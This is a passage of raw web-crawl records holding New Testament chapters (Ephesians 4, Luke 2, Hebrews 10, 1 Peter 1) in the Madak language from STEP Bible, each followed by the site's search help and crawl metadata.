Maxat Maxeneng At Ne Karisito17 Nia a sing lolos nemi keneng at laasen at Leeme Silok do mina ronga res at na levelinga. Mina xap ti mu asu leveloklok kakapmek at limixin kopmen di me Judaia. Mo levendoxoma atdi noxo lok tooro di. 18 Levendoxoma atnedi i nemen keneng at lamain. Nedi xopmen dina ruuna ka toxot keneng at na lorooro ne Moroa im taba i, mila kopmen takleklen tinotno atnedi la lebelen atnedi i rebonot pe. 19 Nedi xopmen dina suma lainmangan mumu leveloklok kakapmek dik lox i. La dira xap kusu dina lok leveloklok nunuan la dia vubeles at leveloklox axap i bilingot. La levendoxoma atdi i vekip kaxat ti lok laxakapmek.\n20 Levenanasa mumu ne Karisito xopmen na lok kuren. 21 Nemi migara ronga xaka vam levelinga ren la diga lox ase nimi min, ik sixit emu mi levenanasa ruturun at ne Iesu. 22 Miga lox ase kusu mina lok kepe lorooro maut mo gak lok at lorooro atnimi ganoxa, la lodomdoma ri laxakapmek gara lok kapmex i. 23 La miga lox ase kusu levendoxoma atnemi na maxat. 24 La miga lox ase kusu mina lox ekun nom lorooro maut mi lorooro maxat, mo i lok ngan lampoovo at ne Moroa la i umsu mi loklok mokmokso i ruturun la loklok i dadat.\n25 Kuren la nemi getgesara mina lok pes kepe levelinga xaxarang la mina paase mi luruturun ti limixin at ne Moroa, mila nedik axap lengkot at labantuxu at ne Karisito. 26 Do mina musak, nemen mita lok laxapmek; lumukmusak atnimi na xap avot ti laxangking na lotup. 27 Nemen mita raba ne Satan mi toxonin angavang. 28 Mo laradi xipkip pilo gutap kip pilo bok ba. Ketla neni na lok lugugu mi lukngen la na lok leven gugu nunuan kusu neni na epovo na lok tooro nedi limixin pakpakes.\n29 La lavapaase kapmek noxo ravasu at levenngusno atnemi. Levelinga avukat mene nga mina paase asu i, kusu na lox alolos nedi limixin dik pakes ti levelinga avukat la kusu na lok tooro limixin di ronga nimi. 30 Nemen mita lox abulu Loroonan Kaala at ne Moroa. Loroonan Kaala neni loklok katling ne Moroa ga raba vam nimi min, i ngan lampinebeng ti loklox arooro atdik. 31 Nemi mina lok kepe axap loklok ti lebelen kapmek, lebelemamao, lumukmusak, loxoxo xaka, lavapaase mumu, la mo axap leveloklok kakapmek. 32 La mina suxa lorooro atnimi mi lebelen tuntun la labalamu kantubu atnemi limixin nuunu, la mina domampe laxakapmek atnimi getgesara kerekngan ne Moroa ga lok pes laxakapmek atnimi at laasen at ne Karisito.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Eph.4","date":"2018-10-21T21:14:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514355.90\/warc\/CC-MAIN-20181021203102-20181021224602-00272.warc.gz","language":"mmx","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999998927116394}","num_words":1104,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aPas 13:2,12,15\nLuke 2\nLivipisik At Ne Iesu1 Jon move ga lixilik la ne Kaisar Ogastas ga lox aonon lavapaase axasep tinedi limixin digak lok maxopok at lagavaman boro Rom kusu dina malagan amaxat ka levenasen atdi. 2 Kuirinias ga neni laradi gomgo ri lenep silok Siria, at mo laaleng na lugugu ti lok ka asen ga vot. 3 Nedi limixin getgesara digat pas ti levenmenemen axa atdi kusu dina lok li levenasen atdi.\n4 La ne Josep ga nemen at lemenemen Nasaret at lenep silok Galili. Ni ga ronga na levelinga la at lara laaleng ni ga vas kaxat uto at lemenemen, laasen teren, Betilem mo gak lok at lenep silok Judaia; mo lemenemen at loorong silok ne Devit. Josep gat pas ugo, mila ga neni livisik li at ne Devit, 5 la kusu ni na lok li laasen teren eburu mi ne Maria; neni diga lok katling i xusu naba epot at ne Josep. Neni ga balan madak. 6 La nedu duga rupot to Betilem, la laaleng ga vot nga kusu ne Maria na visik lamdak teren. 7 La ni ga visik lamdak temes avot teren, la ga bom i mi leventamon la ga vaxamdi i ro at loxot anan at laxanbulumaxao, mila goxopmen toxot tidu ri nemen to at loogu mikmidi.\nLuvuttadi Loklok Tatao Sipsip Mi Lubung Angelo8 Ap mo laxanimin lentaba luvuttadi loklok tatao sipsip diga nemen ap mo lenep, digak lok tatao levesipsip atdi. 9 La laangelo at ne Moroa ga vot saparap di, la lisisixam at ne Moroa ga so axasep nedi la ga vung kamit mo loxot axap. La diga marat aleng tinotno. 10 Ketla laangelo ga lok tidi, \"Nemen mita marat! Nenia ana tong levelinga avukat tinimi, kusu naba lox amomo limixin axap. 11 Lingina at na laaleng to at lemenemen at ne Devit, Laradi Loklox Arooro atnimi dira visik pam i; neni Lanarong la Leeme Silok! 12 Loklok katling at na lavanga i lok keretna; miba long lenget ka lumumulum di bom i mi leventamon la ik midi ro at loxot anan at laxanbulumaxao.\"\n13 La soso mun, buaang nedi lubung angelo boro vana at laxalibet diga vot eburu mi mo laangelo, diga emi asu saparap ne Moroa; la diga lok keretna,\n14 \"Ata emi asu mi ne Moroa ik lok to vana at laxalibet, la lumulum at ne Moroa bak lok at na lavatbung menemen tinedi ne Moroa i momo midi.\"\n15 La lubung angelo diga on basinge di, la digamlong manga uto vana at laxalibet, la luvuttadi loklok tatao sipsip diga epaase minedi getgesara xeretna, \"Atat pas uto Betilem la ata ven mo lumumulum, ne Moroa ira tong pam i ridik.\"\n16 La diga vas kaxat soso mun, diga vot posiga ne Maria la ne Josep, la diga long lenget ka lumumulum gak midi to at loxot anan at laxanbulumaxao. 17 Ga se mo luvuttadi loklok tatao sipsip diga ven lumumulum, diga on basinge i, la diga paase asu levelinga at laangelo ri limixin axap. 18 La nedi mo diga ronga mo levelinga, diga sangu ren. 19 Ketla ne Maria ga doxoma na levelinga, la gam doma mumu amisix i. 20 Luvuttadi loklok tatao sipsip digamlong, diga emi asu mi ne Moroa ti nom lempanga diga ronga i la diga ven pam i, kerekngan laangelo ga vaase di min.\nDiga So Asen Ne Iesu21 At laaleng sepsev avanuan melemu at livipisik at ne Iesu, nedu lenasun duga lok ka ne Iesu xusu dina vit kepe loxontuxu ren; la diga so asen i mi ne Iesu, no laasen laangelo gara so asen avot pam i min ap mo loxonaleng nenen goxovisi renan min.\nDiga Lok Ka Ne Iesu Uto At Loogu Laplavang22 Laaleng ga vot nga kusu ne Josep mi ne Maria duna lok axap mo loklok ti lox adadat du kerekngan Lenavolo at ne Moses ga tong i. La duga lok ka lamdak uto Jerusalem kusu duna raba ne Moroa min, 23 kerekngan levelinga gak lok to xeneng at Lenavolo at ne Moroa i lok keretna,\n'Laxamdak temes avot, mina song araba di ri ne Moroa.' a\n24 Dugat pas bok kusu duna raba leventamtaba atdu. Lenavolo at ne Moroa ga tong i do limixin dinaba raba i mi legepu bino, kopla legepu bilis.\n25 Lara laradi ga nemen to Jerusalem laasen teren ne Simion. Neni lagale laradi, la ga lok ngangao bok at ne Moroa la ni ga lotu ruturun saparap ne Moroa, la ni ga ngangais ti taradi kusu naba lox arooro limixin me Israel. Loroonan Kaala ga nemen teren. 26 La Loroonan Kaala ga tong pam i rin do ni noxo met se ni naba ven Lanarong at ne Moroa. 27 Ap mo laaleng Loroonan Kaala ga lam ka ne Simion uto at loogu laplavang. Ne temen mi nenen ne Iesu duga lox abeles lamdak ukeneng kusu dina lox epovo loklok at leme Judaia i ngan Lenavolo ga tong i. 28 La ne Simion ga lok kaka lamdak mi lukngen, la ga emi asu mi ne Moroa xeretna;\n29 \"Na, Moroa silok! Lavapaase alii ram ira sorun pam, la na nga una ke ia, lasaxaruki taram kusu ana met basinge lugugu ram la ana nemen at lenmila. 30 Ara ven pam langas ti lorooro mi luxatli axa rak, 31 mo uga gagas min kusu limixin axap diba ven i, 32 i ngan laxasep kusu naba lox axasep langas taram ti limixin kopmen di me Judaia, la na raba lisinorong ti limixin taram boro Israel.\"\n33 Temen mi nenen lamdak duga sangu aleng ap mo levelinga at ne Simion. 34 Simion ga lox anarong di la ga lok ti ne Maria xeretna, \"Ana lamdak ne Moroa ga soxolik ka i xusu naba lok nedi limixin buaang me Israel diba subu la buaang bok nedi diba xatu at levelinga ren. Neni naba lok ngan loklok katling boro vana at ne Moroa la buaang nedi diba sok tixirixes i; 35 la ni naba lox asuvos levendoxoma nemnem at limixin. La lorooro ram naba umsu mi lainbulu.\"\n36 Lara latkin papaase alii laasen teren ne Ana; loolik at ne Panuel, at libibinat at ne Asa. Neni lasioxo rixin, la ni ga epot mun at lavanuti maares. 37 La latlok teren ga met la melemu neni ga nemen naa; la levenmaares teren ga epovo at lavanuan sangaun mi lavanuet. Neni xopmen goxo onon basinge loogu laplavang; at lengkangking la lengkanimin, ni ga lotu saparap ne Moroa la ni ga mun anan la ga ngising. 38 Ap mo mun loxonaleng neni ga vot pasa di la ga tong loklox avukat saparap ne Moroa, la ga vaase alii mumu ne Iesu tinedi mo limixin diga ngangais ne Moroa kusu naba lox arooro limixin me Israel.\n39 Se ne Josep mi ne Maria duga lox axav i mo lempanga kerekngan Lenavolo at ne Moroa ga tong i, digamlong uto Nasaret lemenemen atdi gak lok at lenep silok Galili. 40 Lamdak ga sisilok la ga lolos; la ga umsu mi lakleklen, la letaba nabalamu at ne Moroa ga umsu at lorooro ren.\nLamdak Lixilik Ne Iesu To Xeneng At Loogu Laplavang41 At levenmaares axap ne Josep eburu mi nenen ne Iesu dugat pas uto Jerusalem ti leluxa, laasen ap mo leluxa, Lovovolo Pe. 42 Se ne Iesu ga lasangaun legepura laramaares teren, nedi loxoetemen digat pas uto ap mo leluxa kerekngan loklok at limixin me Israel. 43 La levenaleng ap mo leluxa ga xap ta, la nedu lenasun duga vas kaxat uto xolonu, la ne Iesu ga nemen go Jerusalem, ketla du goxoklen i. 44 Duga nua i do neni mo gat pas eburu mi lentaba ren boro Nasaret; kuren la dugat pas ap mo laaleng se ukantinao, la melemu duga long lenget ka i do neni goxo emu mi limixin la duga vuse kaxat ba rin kantubu at lempat atdi la larapen tangas bok atdi. 45 Du goxo vuse ka i, la dugamlong uto Jerusalem kusu duna ven tin. 46 Melemu at laaleng sepsev avantun duga vuse ka i ro xeneng at loogu laplavang, gat kis eburu mi luvuttadi loklox ase at leme Judaia; ni gang tonga di la ga susue bok di mi levesusue. 47 Nedi mo digang tonga i, diga rakdu aleng at lakleklen teren la levempoporang teren. 48 Nedu lenasun duga vuse ka i, duga rakdu aleng la nenen ga lok tin, \"Nuruk, tila u lok nom loklok tinama'? Nema' lenasun mara bulu aleng mu u.\"\n49 Ni ga vorang i ridu keretna, \"Tila mu lok do muna puse ria? Kereva, muxoklen i do nia aba nemen to at loogu at ne Tamak?\" 50 Ketla du goxo xasep at na levelinga ne Iesu ga tong i ridu.\n51 La ne Iesu gamlong eburu midu uto Nasaret, la neni gang tonga res amisik atdu. La nenen gam doma amisik na levelinga at ne Iesu la goxo domampe i. 52 La ne Iesu ga sisilok at labantuxu la at lakleklen bok; la ga lox avukat aleng at lemeren ne Moroa la limixin.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Luk.2","date":"2018-10-22T11:40:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515041.68\/warc\/CC-MAIN-20181022113301-20181022134801-00355.warc.gz","language":"mmx","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000050067901611}","num_words":1603,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.318,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 10\nKarisito Ga Raba Lorooro Ren1 Lenavolo at leme Judaia ni lampoovo mun ti mo leveloklox anarong at ne Moroa mo naba vot. Lenavolo ni xopmen mo leveloklox anarong. Kuren la mo leveloklok tiplavang diga lox amisix i at levenmaares axap, goxo epovo rinotno xusu na lox adadat nedi diga vosiga ne Moroa kusu dina lotu saparav i. 2 Do gita epovo na lox adadat di, na loklok tiplavang to gita xap pam. Mila mo langas i epovo giba lox adadat tinotno limixin, la kerepmo di gitoxo epovo na suma lainmangan bok ba mumu laxakapmek atdi. 3 Ketla mo levelaplavang ga lox adoxoma mun limixin mi laxakapmek atdi la kerepmo digam suma lainmangan, 4 mila ixo epovo do lada at laxanbulumaxao la laxanme na lox adadat limixin basinge leveloklok kakapmek atdi.\n5 Kuren la ap mo loxonaleng ne Karisito ga lok do na si ude at lavatbung menemen, neni ga lok ti ne Moroa xeretna,\n\"Labalam goxo ru levelaplavang la leventamtaba, ketla ugam doma gagas kusu uba riki asi ia la anaba vee radi ngan limixin kusu anaba raba u minia ngan laplavang. 6 U goxo lok momo mi leventamtaba diga xotos i ro at laxao la leventamtaba diga etaba min ti lok kepe laxakapmek at limixin. 7 Kuren la aga lok keretna, 'Moroa. Nenia na. A vot pam ti mu asu lavavara ram kerekngan mo levelinga keneng at lugun linga ram diga malagan i mumu ia.\" a\n8 Avot be ne Iesu ga lok keretna; \"Labalam goxo ru levelaplavang la leventamtaba gamasa eburu bok mi leventamtaba diga xotos i ro at laxao la leventamtaba diga etaba min ti lok kepe laxakapmek atdi. La u goxo lok momo mi na loklok.\" Keke i do Lenavolo at ne Moses ga tong i do limixin dina mu asu mo loklok. 9 La neni ga lok bok, \"Nenia na; a vot pam ti mu asu lavavara ram.\" Kerepmo la ne Moroa ga lok kepe mo leveloklok tiplavang megano la ga lox ekun i mi mo laplavang i sev agepura, ne Karisito xa ga lox i mi lada ren. 10 Ne Karisito ga mu asu lavavara at ne Moroa, la neni ga raba lorooro ren ngan laplavang at legesa xonaleng mun kusu na lox adadat limixin basinge laxakapmek atdi.\n11 At levenaleng axap lavamaasa diga tu ro xeneng at loogu kadis la digak lok lugugu at lotu; at levenaleng axap diga etaba mi leges asen panga laplavang mun, mo levempanga goxopmen tinotno na epovo xusu ri lox adadat limixin basinge laxakapmek atdi. 12 Ketla Lamaasa Avolo ga etaba mi legesa laplavang mun ti laxakapmek, u ningina la amisik bok, la melemu neni ga xis to saparap lekngen tino at ne Moroa. 13 Ga ru ka i ap mo laaleng neni ga ngangais ne Moroa na lok li limixin munepen teren ngan loxot burubut ti luxangkedek teren. 14 Karisito ga raba lorooro ren ngan laplavang, kuren la ni ga lok langas kusu limixin dina dadat amisik la na nga ne Moroa ik lok kepe laxakapmek at limixin di nuunu ren.\n15 Loroonan Kaala bok i tong asuusu i na; i lok keretna,\n16 \"Melemu nia anaba lok lekabus maxat mi limixin tarak; anaba buradong levelinga rak keneng at lebelen di la nia anaba lox adoxoma di mi levelinga rak.\" b\n17 La i lok bok,\n\"Nia a noxo domangke rinotno bok ba at laxakapmek atdi.\" c\n18 La do ne Moroa ira doxoma xepe vam laxakapmek at limixin, kopmen dinak pakes bok ba ri lok laplavang kusu ri lok kepe laxakapmek.\nLangas Maxat Tim Taba Lorooro19 Luvutnetak mi luvurinuk. I epovo do ata vosiga ne Moroa ap mo loxot i xaala aleng, mila ne Iesu gara suang pam mo langas mi lada ren. 20 Mo langas neni langas maxat im taba lorooro, Iesu ga suang pam i ridik ap mo laaleng neni ga raba labantuxu ren kusu na uu at laxaba. Lavattamon silok to xeneng at loogu kadis ga ru katling labantuxu at ne Iesu la mo lavattamon ga rem lais tubu, i ngan ta do ga suang mo langas tidik. 21 La nedik ta ruuna Lamaasa Avolo, neni lamgomgo ri limixin at ne Moroa. 22 Kuren la mina vosiga ne Moroa do lebelen nimi irak mokso vam la lunuunu atnimi irat matkun pam la lebelen nimi xopmen tusumsuma xapmek teren mila ne Moroa ga lox adadat pam nimi kerekngan di gos labantuxu atdik mi ladan i nunuan. 23 Minam tebeng lolos lunuunu atnimi ri mo leveloklox anarong mo naba vot mila ne Moroa naba lox asorun levempapaase alii ren. 24 La mina doxoma ka teventaangas kusu mina lox axatu lebelen nimi ri elok tooro ela la lorooro atnimi na umsu mi labalamu la leveloklok i nunuan. 25 Nemen mita ke xepe mo leveloklok tit pot buru, kerekngan leventaba atnimi dira ke xepe vam i. Ketla nemi xa mina epang aru xusu lunuunu atnimi naba lolos; la mina lox amisix i na, mila laaleng ete i auret na vot.\n26 Do tara atnimi ga siam ka vam luruturun at Lagale Lavavang, ketla iramlong ti laxakapmek, i lok ngan ta do i raba arulu ne Moroa la kopmen tavanga laplavang bok ba kusu ba lox arooro i. 27 Ketla neni ba suma mun lanmarat silok at lebelemamao at ne Moroa at laaleng ete mila laxao bokbolot mo naba anan limixin di munepen mi ne Moroa. 28 Do tara ga los polo lenavolo at ne Moses, la do tegepu radi xopla tavantun tuvuttadi diga venemet mo laradi ga lok laxapmek, neni gaba met etaba mun. 29 Kerepmo la do tara na sok kepe lunuunu ren at ne Iesu, i lok ngan ta dola i vas axangka ne Nitna ne Moroa; la neni i lok lada at ne Iesu ngan ta lavanga gamasa, mo lada at lekabus maxat ga sen kusu na lok kepe laxakapmek teren, la ira vaase vupu vam ti Loroonan Kaala, mo i lox asuusu letaba nabalamu at ne Moroa ridik. Do tara na lok na leveloklok kakapmek, neni naba lok ka loklox asongot silok. 30 Ataklen i do ne Moroa xa ga lok keretna,\n\"Nenia xa anaba sepo laxakapmek at limixin.\" d\nLa ga lok bok,\n\"Moroa naba vaxaru limixin teren at lavapaase, mo do dina soogong basinge levelinga ren.\" e\n31 Naba lok kapmek aleng do tara na ekip tangarang mi lebelemamao at ne Moroa, mo i rooro.\n32 Mina doma amlong ti mo levenaleng miga lok ka avot lunuunu. Ap mo levenaleng miga ekip tangarang mi levenmumuat la leveloklox asongot mumu lunuunu atnimi. Ketla miga tu lolos la mi goxo subu. 33 At lentaba levenaleng diga sok taba nimi mi laxalinga xapmek la diga lox asongot nimi ro melamgo at limixin axap. At leventaba levenaleng bok miga ru eburu mi nedi diga xip mo levesongsongot. 34 Miga balamu nedi digak lok at loogu xokoxo la miga lok momo mene nga do limixin diga sak paxat ka levempanga atnimi mila migaklen i do nemi xa miba ruuna lapnovos i lox avukat aleng no vana at laxalibet, mo lapnovos naba nemen amisik.\n35 Kuren la nemen mita soxepe lunuunu atnimi; do minam tebeng lolos teren, Moroa naba raba nimi mi leveloklox anarong i nunuan aleng. 36 Do mina suma levenmumuat at lorooro atnimi, mina tu lolos at lunuunu atnimi xusu minaba ruuna ka mo leveloklox anarong ne Moroa ga vaase alii min tidik, mo do mina mu asu lavavara ren. 37 Kopmen noxo lox abao la Lanarong nabamlong kerekngan ne Moroa ga tong i xeretna,\n\"Mo lara diga tong i do naba vot, neni naba vot tuturun, neni noxok lok sila. 38 Ket do nege laradi do luruptuvuk teren ik mokso, neni naba ruuna ka lorooro avolo, mo do neni nat pas eburu mi lunuunu. La do neni na raba arulu ia, labalak noxo lox avukat tin.\" f\n39 Ketla nedik kopmen na lok ngan nedi di raba arulu ne Moroa la dira seeve, ketla nedik ta lok ngan nedi di nuunu at ne Moroa la dira ruuna ka vam lorooro avolo.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Heb.10","date":"2018-10-21T10:29:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513844.48\/warc\/CC-MAIN-20181021094247-20181021115747-00091.warc.gz","language":"mmx","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000005841255188}","num_words":1454,"character_repetition_ratio":0.063,"word_repetition_ratio":0.012,"special_characters_ratio":0.217,"stopwords_ratio":0.313,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aAis 40:6-8\n1 Peter 1\nLavapaase Axasep1 Nenia ne Pita luun pavang at ne Iesu Karisito. Nia a malagan na lovoang tinemi limixin soksoxolik at ne Moroa; mi lok ngan limixin kadiong ti na lavatbung menemen la mik lox epeseves to at levennep taba ro Pontas, Galesia, Kapadosia, Asia, la Bitinia. 2 Ganoxa, Moroa ne Temen dik ga doxoma alii i do ni na soxolik ka nimi ngan limixin teren la na lox adadat nemi mi Loroonan Kaala ren, kusu minaba ronga res at ne Iesu Karisito, la neni naba lox adadat nemi mi lada ren.\nLetaba nabalamu ren la lenmila na umsu xeneng at lorooro atnemi.\nLodoxoma Voovo3 Ata emi asu mi ne Moroa neni ne Temen, Leeme Silok atnedik ne Iesu Karisito, mumu mun lebelemumu silok teren tinedik, la neni ga lox arooro xaka amlong ne Iesu Karisito basinge lanmet kusu ri raba nedik mi lorooro maxat. La nai, ik suxa nedik mi lodoxoma voovo ri lorooro avolo. 4 La nedik ataba epovo xusu ataba ven tu at laaleng ua taba lok kaka levenapnovos at leveloklox anarong no ne Moroa ik lok li i ri limixin teren to vana at laxalibet, kusu mo leveloklox anarong noxo lok kapmek la na xap gamasa. 5 La ne Moroa ik lok li i rinemi limixin mi ruuna lunuunu la neni ik lok tatao nemi mi lololos teren kusu ri loklox arooro, mo ne Moroa naba lox asuvos i at laxavaxap at na lavatbung menemen. 6 La mik lok momo aleng at na lavanga, keke i do mi ekip tangarang lixilik bok be mi tavanga i lox abulu nemi mumu buaang leveloklok tong pen ik lox asongot nemi. 7 Ketla ana levempanga it pot ti lox asuusu mun i do lunuunu atnemi i lolos. I ngan bok leven gol ni i epovo xusu dina lok kapmex i, din tin tong pen box i ro at laxao; la lunuunu atnemi, neni lavanga i silok aleng ti logol, neni dinaba lok tong pen i xusu ri long lenget ka i do i lolos kopla kopmen. Melemu minaba ruuna ka leemi asu, la lisisixam eburu mi loklok ngangao at laaleng ne Iesu Karisito naba ru asuvos. 8 Nemi xovisi mina ven tu ren, ketla mi kox i; la mo nga mixo ven tu ren, ketla mi nuunu ren. La mi umsu mi lomomo i silok aleng, la neni mo lomomo nenia axo epovo xusu ana mii poovo i mi tepanga mila i silok aleng. 9 Lavasuun teren keretna, nemi min tuuna xaka loklox arooro xeneng at labaroonan atnemi, mumu mun lunuunu atnemi saparav i.\n10 La luvuttadi vapaase alii diga terea mumu avukat tinotno levelinga mumu mun i na loklox arooro, nedi diga vaase alii mi letaba nabalamu no ne Moroa im taba nemi min. 11 Diga puse i xusu dinaklen kaka rinotno loxonaleng at lovotpot at ne Karisito la naba vot kereva. La digam doma vupuse do Loroonan at ne Karisito no gak lok keneng atnedi, ga paase alii mi levesongsongot ne Karisito naba ekip tangarang min la neni naba ru pavaa mo levesongsongot, la melemu ren neni naba lok kaka langsangan lisisixam. 12 Ne Moroa ga raba asu na levelinga rinedi na luvuttadi vapaase alii xusu nedi di noxo gugu xusuk tik lok tooro nedi xa, ketla ti lok tooro nemi, at loxonaleng diga vaase mumu mo levelinga. Ana nemi mira ronga xaka vam i at luvuttadi xipkip linga di vaase asu Lagale Lavavang mi lololos at Loroonan Kaala boro vana at laxalibet. Neni na Lagale Lavavang lubung angelo bok di vara aleng i xusu dinaklen i.\nLavapaase Asu At Lixitkis Kaala13 Kuren la mina lox agagas levendoxoma atnemi ri lok mo levempanga ne Moroa i vara i. Mina lok tatao avukat luruptuvuk atnimi la mina lok li axap levendoxoma atnemi pana at lorooro avolo, no mina lok ka i at laaleng ne Iesu Karisito na ru asuvos. 14 Minang tonga res at ne Moroa, la nemen gat mi gutam lomlong ti mo lavavara xapmek miga ruuna i gano at levenaleng migak lok at larangtangku. 15 La levempanga minak lox i, minak lox i eburu mi lorooro axap atnemi nan manton; atla ne Moroa neni ga ro xaka nemi, neni in manton. 16 I ngan Lovoang Kaala i vaase xeretna, \"Mina lok ka loklok in manton mila nenia an manton .\"\n17 La minaklen i do ne Temen nemi no vana at laxalibet, no nemi mi ngising tin, neni i viila mumu luruptuvuk at limixin la i viila mumu loklok atdi mi legesampoovo mun; kuren la mina raba axap lorooro atnemi at na lavatbung menemen eburu mi loklok ngangao saparav i. 18 La nemi miklen luunun, ne Moroa ga un kaka amlong nemi min basinge lorooro etaba ga ravasu at lavalabat atnemi. La mo luunun ixo epovo xusu tara na lok kapmex i, ngan lisiliva xopla logol; 19 ketla ne Moroa ga un ka nemi mi lada, ni luunun silok at ne Karisito kopmen taxakapmek teren la kopmen bok tibira at Lanasip at ne Moroa. 20 Avot ti luruntudum li at na lavatbung menemen, Moroa ga soxolik ka i xusu ri lok lugugu ren ganoxa la neni ga ravasu at na levenaleng kavaxap kusu ri lok tooro nemi. 21 La at na mun langas neni ga lox i la nemi mira nuunu at ne Moroa, no ga lox arooro amlong i at lanmet la ga raba box i mi laasen silok; kuren la lunuunu atnemi la levendoxoma voovo atnemi i tu rinotno at ne Moroa.\n22 La mo nga, mira ronga ka vam levelinga ruturun la kerepmo lorooro atnemi ira dadat pam la labalamu ruturun i ravasu at lorooro atnimi ti luvutneton nimi; kuren la mina ebalamu ela mi lorooro axap atnemi; 23 mila miga ruuna xaka livipisik amaxat la na lorooro maxat noxo xap ngan laradi at na lavatkangka, ketla naba nemen amisik; na lorooro ga ravasu at levelinga at ne Moroa la i rooro la naba nemen amisik. 24 I ngan Lovoang Kaala i vaase xeretna,\n\"Limixin axap di noxo nemen abao ngan levempivilis la lampeneves atnedi na xap ngan levempusuvus aaxa. Levempivilis naba mang, la levempusuvus naba subu su; 25 ketla levelinga at Leeme Silok, ne Moroa ik lox amisik la kopmen taxavaxap teren.\" a\nNa levelinga neni Lagale Lavavang nemi miga ronga xaka i.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Pe.1","date":"2018-10-17T18:01:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511206.38\/warc\/CC-MAIN-20181017174543-20181017200043-00054.warc.gz","language":"mmx","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999998927116394}","num_words":1182,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Peter 21 Kuren la mina lok pes laxaloklok kakapmek basinge nemi; la nemen bok ba mita xaxarang, kopla mina lili aage levelinga, la mina reven peves, 